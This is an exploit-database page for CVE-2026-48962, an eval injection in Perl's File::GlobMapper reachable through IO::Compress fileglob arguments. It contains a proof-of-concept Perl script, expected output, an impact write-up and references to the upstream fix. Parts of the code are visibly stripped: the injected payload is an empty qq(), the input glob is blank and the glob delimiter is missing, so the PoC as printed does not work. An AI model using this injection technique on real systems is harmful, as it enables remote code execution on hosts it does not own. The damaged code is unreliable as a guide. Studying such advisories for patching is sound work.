Exploit for CVE-2026-48962

## https://sploitus.com/exploit?id=F6F9F4C8-BEC8-5564-9446-CA91D4F5949C
### Summary

An eval injection vulnerability in `File::GlobMapper::_getFiles()` allows any attacker who can control the output fileglob argument passed to `IO::Compress::Gzip::gzip()`, `IO::Compress::Zip::zip()`, or any sibling function to execute arbitrary Perl code in the context of the running process.
No authentication is required. Impact is complete: confidentiality, integrity, and availability of the host process are fully compromised.

---

### Details

`File::GlobMapper::_parseOutputGlob()` builds an output filename template by wrapping the caller-supplied output pattern in Perl double-quotes and storing the result. `_getFiles()` then passes that string directly to `eval` without
any sanitisation:

**`lib/File/GlobMapper.pm:316–321`**
```perl
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping
```

**`lib/File/GlobMapper.pm:342`**
```perl
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point
```

`File::GlobMapper` is invoked automatically whenever **both** the input and output arguments to an `IO::Compress::*` / `IO::Uncompress::*` function are fileglob strings (delimited by ``). This is a documented, common calling
convention. Affected functions include `gzip`, `zip`, `bzip2`, `deflate`, `rawdeflate`, and all `IO::Uncompress::*` counterparts.

Any character that closes the surrounding double-quoted Perl string — a literal `"`, a backtick, `${...}`, or `@{...}` — followed by arbitrary Perl code is executed verbatim.

---

### PoC

Save as `poc.pl` and run with `perl poc.pl`:

```perl
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq();

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}
```

**Expected output:**
```
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_
```

Confirmed on IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.

---

### Impact

This is a **remote code execution** vulnerability. Any web application, API service, CLI tool, or batch-processing pipeline that accepts user input and passes it as the output fileglob argument to any `IO::Compress::*` function is vulnerable. The injected code runs with the full privileges of the calling process.

**Who is impacted:** Developers and operators of Perl applications that use `IO::Compress::*` functions with the fileglob calling convention and where the output pattern is derived from untrusted input - such as filename templates from web forms, REST API parameters, CLI arguments, or configuration files controlled by non-privileged users.

In setuid or privileged-daemon contexts, exploitation yields code execution at the elevated privilege level. The bug has been present since the initial release of `File::GlobMapper` (≈ 2005) and is present on every Linux distribution that ships the `perl` package.


### References

- https://nvd.nist.gov/vuln/detail/CVE-2026-48962
- https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
- https://github.com/pmqs/IO-Compress/issues/73
- https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
- http://www.openwall.com/lists/oss-security/2026/05/27/4
- https://github.com/advisories/GHSA-q6wx-vhvq-x7h6